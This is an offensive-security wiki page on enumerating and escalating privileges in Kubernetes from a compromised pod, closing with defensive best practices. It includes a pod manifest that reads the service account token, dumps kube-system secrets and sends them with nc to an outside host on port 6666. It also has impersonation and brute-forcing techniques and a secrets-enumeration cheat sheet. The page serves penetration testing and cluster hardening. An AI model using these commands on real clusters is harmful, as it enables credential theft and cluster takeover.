14 KiB
Enumeration from a Pod
In a situation where you have managed to break into a Kubernetes Pod you could start enumerating the kubernetes environment from within.
Service Account Tokens
ServiceAccount is an object managed by Kubernetes and used to provide an identity for processes that run in a pod.
Every service account has a secret related to it and this secret contains a bearer token. This is a JSON Web Token JWT, a method for representing claims securely between two parties.
Usually in the directory /run/secrets/kubernetes.io/serviceaccount or /var/run/secrets/kubernetes.io/serviceaccount you can find the files:
- ca.crt: It's the ca certificate to check kubernetes communications
- namespace: It indicates the current namespace
- token: It contains the service token of the current pod.
The service account token is being signed by the key residing in the file sa.key and validated by sa.pub.
Default location on Kubernetes:
- /etc/kubernetes/pki
Default location on Minikube:
- /var/lib/localkube/certs
Taken from the Kubernetes documentation:
“When you create a pod, if you do not specify a service account, it is automatically assigned the default service account in the same namespace.”
Hot Pods
Hot pods are pods containing a privileged service account token. A privileged service account token is a token that has permission to do privileged tasks such as listing secrets, creating pods, etc.
RBAC
Risky Permissions
Listing Secrets
A user with a role that allows listing secrets Figure 8 can potentially view all the secrets in a specific namespace as in our example or in the whole cluster with ClusterRole.
Below you can find the way to list secrets.
Creating a pod with a privileged service account
An attacker with permission to create a pod in the “kube-system” namespace can create cryptomining containers for example. Moreover, if there is a service account with privileged permissions, the permissions can be used to escalate privileges.
Here we have a default privileged account named bootstrap-signer with permissions to list all secrets.
The attacker can create a malicious pod that will use the privileged service. Then, abusing the service token, it will ex-filtrate the secrets:
piVersion: v1
kind: Pod
metadata:
name: alpine
namespace: kube-system
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", 'apk update && apk add curl --no-cache; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://192.168.154.228:8443/api/v1/namespaces/kube-system/secrets; } | nc -nv 192.168.154.228 6666; sleep 100000']
serviceAccountName: bootstrap-signer
automountServiceAccountToken: true
hostNetwork: true
In the previous image note how the bootstrap-signer service is used in serviceAccountname.
So just create the malicious pod and expect the secrets in port 6666:
Impersonating privileged accounts
With a user impersonation privilege, an attacker could impersonate a privileged account.
In this example, the service account sa-imper has a binding to a ClusterRole with rules that allow it to impersonate groups and users.
When trying to list all secrets it will fail with a “forbidden” message:
Error from server **Forbidden**: secrets is forbidden: User “system:serviceaccount:default:sa-imper” cannot list secrets in the namespace “default”
After using --ass=null --as-group=system:masters it will be granted full permissions:
Reading a secret – brute-forcing token IDs
An attacker that found a token with permission to read a secret can’t use this permission without knowing the full secret’s name. This permission is different from the listing secrets permission described above.
Although the attacker doesn’t know the secret’s name, there are default service accounts that can be enlisted.
Each service account has an associated secret with a static non-changing prefix and a postfix of a random five-character string token at the end.
The random token structure is 5-character string built from alphanumeric lower letters and digits characters. But it doesn’t contain all the letters and digits.
When looking inside the source code, it appears that the token is generated from only 27 characters “bcdfghjklmnpqrstvwxz2456789” and not 36 a-z and 0-9
This means that there are 275 = 14,348,907 possibilities for a token.
An attacker can run a brute-force attack to guess the token ID in couple of hours. Succeeding to get secrets from default sensitive service accounts will allow him to escalate privileges.
Creating privileged RoleBindings
The following ClusterRole is using the special verb bind that allows a user to create a RoleBinding with admin ClusterRole default high privileged role and to add any user, including itself, to this admin ClusterRole.
The attacker can create a RoleBinding with the default existing admin ClusterRole and bind it to a compromised user, in our case the compromised accounts sa2:
By creating this RoleBinding, the service account sa2 is becoming a root on the cluster and can execute privileged tasks reading secrets, creating pods, etc..
Enumeration CheatSheet
To enumerate the environment you can upload the kubectl binary and use it. Also, using the service token obtained before you can manually access some endpoints of the API Server.
In order to find the the IP of the API service check the environment for a variable called KUBERNETES_SERVICE_HOST.
Get namespaces
{% tabs %} {% tab title="kubectl" %}
./kubectl get namespaces
{% endtab %}
{% tab title="API" %}
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/
{% endtab %} {% endtabs %}
Get Current Privileges
{% tabs %} {% tab title="kubectl" %}
./kubectl auth can-i --list #Get privileges in current namespace
./kubectl auth can-i --list -n custnamespace #Get privileves in custnamespace
{% endtab %} {% endtabs %}
Get Current Context
{% tabs %} {% tab title="Kubectl" %}
kubectl config current-context
{% endtab %} {% endtabs %}
Get secrets
{% tabs %} {% tab title="kubectl" %}
./kubectl get secrets -o yaml
./kubectl get secrets -o yaml -n custnamespace
{% endtab %}
{% tab title="API" %}
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/secrets/
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/secrets/
{% endtab %} {% endtabs %}
Get deployments
{% tabs %} {% tab title="kubectl" %}
./kubectl get deployments
./kubectl get deployments -n custnamespace
{% endtab %}
{% tab title="API" %}
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/deployments/
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/deployments/
{% endtab %} {% endtabs %}
Get deployments
{% tabs %} {% tab title="kubectl" %}
./kubectl get pods
./kubectl get pods -n custnamespace
{% endtab %}
{% tab title="API" %}
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/default/pods/
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/namespaces/custnamespace/pods/
{% endtab %} {% endtabs %}
Get deployments
{% tabs %} {% tab title="kubectl" %}
./kubectl get nodes
{% endtab %}
{% tab title="API" %}
curl -v -H "Authorization: Bearer <jwt_token>" \
https://<Kubernetes_API_IP>:<port>/api/v1/nodes/
{% endtab %} {% endtabs %}
Built-in Privileged Escalation Prevention
Although there can be risky permissions, Kubernetes is doing good work preventing other types of permissions with potential for privileged escalation.
Kubernetes has a built-in mechanism for that:
“The RBAC API prevents users from escalating privileges by editing roles or role bindings. Because this is enforced at the API level, it applies even when the RBAC authorizer is not in use.
A user can only create/update a role if they already have all the permissions contained in the role, at the same scope as the role (cluster-wide for a ClusterRole, within the same namespace or cluster-wide for a Role)”
Let’s see an example for such prevention.
A service account named sa7 is in a RoleBinding edit-role-rolebinding. This RoleBinding object has a role named edit-role that has full permissions rules on roles. Theoretically, it means that the service account can edit any role in the default namespace.
There is also an existing role named list-pods. Anyone with this role can list all the pods on the default namespace. The user sa7 should have permissions to edit any roles, so let’s see what happens when it tries to add the “secrets” resource to the role’s resources.
After trying to do so, we will receive an error “forbidden: attempt to grant extra privileges” Figure 31, because although our sa7 user has permissions to update roles for any resource, it can update the role only for resources that it has permissions over.
Best Practices
Prevent service account token automounting on pods
When a pod is being created, it automatically mounts a service account the default is default service account in the same namespace. Not every pod needs the ability to utilize the API from within itself.
From version 1.6+ it is possible to prevent automounting of service account tokens on pods using automountServiceAccountToken: false. It can be used on service accounts or pods.
On a service account it should be added like this:
It is also possible to use it on the pod:
Grant specific users to RoleBindings\ClusterRoleBindings
When creating RoleBindings\ClusterRoleBindings, make sure that only the users that need the role in the binding are inside. It is easy to forget users that are not relevant anymore inside such groups.
Use Roles and RoleBindings instead of ClusterRoles and ClusterRoleBindings
When using ClusterRoles and ClusterRoleBindings, it applies on the whole cluster. A user in such a group has its permissions over all the namespaces, which is sometimes unnecessary. Roles and RoleBindings can be applied on a specific namespace and provide another layer of security.
Use automated tools
{% embed url="https://github.com/cyberark/KubiScan" %}
References
{% embed url="https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions" %}
****